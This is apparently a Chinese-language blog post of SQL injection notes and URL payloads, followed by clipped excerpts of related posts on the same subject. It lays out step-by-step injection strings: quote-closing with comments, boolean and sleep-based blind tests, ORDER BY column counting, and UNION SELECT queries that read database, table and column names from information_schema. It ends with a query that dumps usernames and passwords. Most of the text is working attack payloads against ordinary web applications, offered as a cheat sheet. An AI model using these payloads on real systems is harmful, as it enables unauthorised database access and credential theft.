sql注入一些注意的問題和常用sql注入url

2021-10-08 14:19:28 字數 1317 閱讀 4648

聯合查詢

即變化id引數的值時,資料庫的內容顯示在網頁中。

這種情況下可以考慮聯合查詢。

若有,可根據報錯內容判斷是字元型id還是數字型id,前者在程式中要用引號,後者不需要。

若是前者,要考慮注入時讓引號閉合,可這樣做:

?id=5' and 1=2 --+
其中,-- 在sql語言中是注釋的意思,即把後面的引號注釋掉(url中,空格可用+代替)。

若是,則可以考慮報錯注入。

即id=5』 and 1=1 --+和id=5』 and 1=2 --+顯示的內容不同。

若有,可以考慮布林盲注。

即url裡有如下字元時,

?id=5' and sleep(5) --+
是否延時,若是,則可以考慮延時注入。

聯合查詢的思路是

資料庫的名字 ===> 表的名字 ===> 欄位的名字 ===> 欄位的內容

判斷列數

?id=7 order by 1

?id=7 order by 2

?id=7 order by 3

...直到有報錯為止,為判斷id所在的表有幾列,假設有10列

判斷顯示位

?id=7 and 1=2 union select 1,2,3,4,5,6,7,8,9,10

?id=7 and 1=2 union select 1,2,3,4,5,6,7,8,database(),10 //可知資料庫的名字

資料庫裡的表

?id=7 and 1=2 union select 1,2,3,4,5,6,7,8,unhex(hex(group_concat(table_name))),10 from information_schema.tables where table_schema=database()
***表的字段

?id=7 and 1=2 union select 1,2,3,4,5,6,7,8,unhex(hex(group_concat(column_name))),10 from information_schema.columns where table_schema=database() and table_name='***'
獲取字段內容

?id=7 and 1=2 union select group_concat(username,password) from mouku.moubiao
為完待續

站長注意SQL 注入一些常用語句

站長注意sql 注入一些常用語句 是否支援多句查詢 是否支援子查詢 返回使用者名稱 當前使用者是否為 sysadmin 固定伺服器角色的成員。當前使用者是否為 db owner 固定資料庫角色的成員 返回資料庫名 作業系統和sqlserver版本 本地伺服器名稱 http www.com.cn co...

一些常用的sql和注意事項

select column name,column comment,data type from information schema.columns where table name 查詢表名稱 and table schema 資料庫名稱 select a.column name,a.data ...

SQL注入的一些筆記 一

注釋 含空格 或 注入字串 1 2 3 連線符 mysql a 空格 oracle a ms sql a 注入數字 1 表示式 2 sql關鍵字表示式 67 ascii a 3 單引號被過濾時,基於必要時的隱式轉換 51 ascii 1 ps url編碼 1 26 3d 2 空格 或 20 3 含義...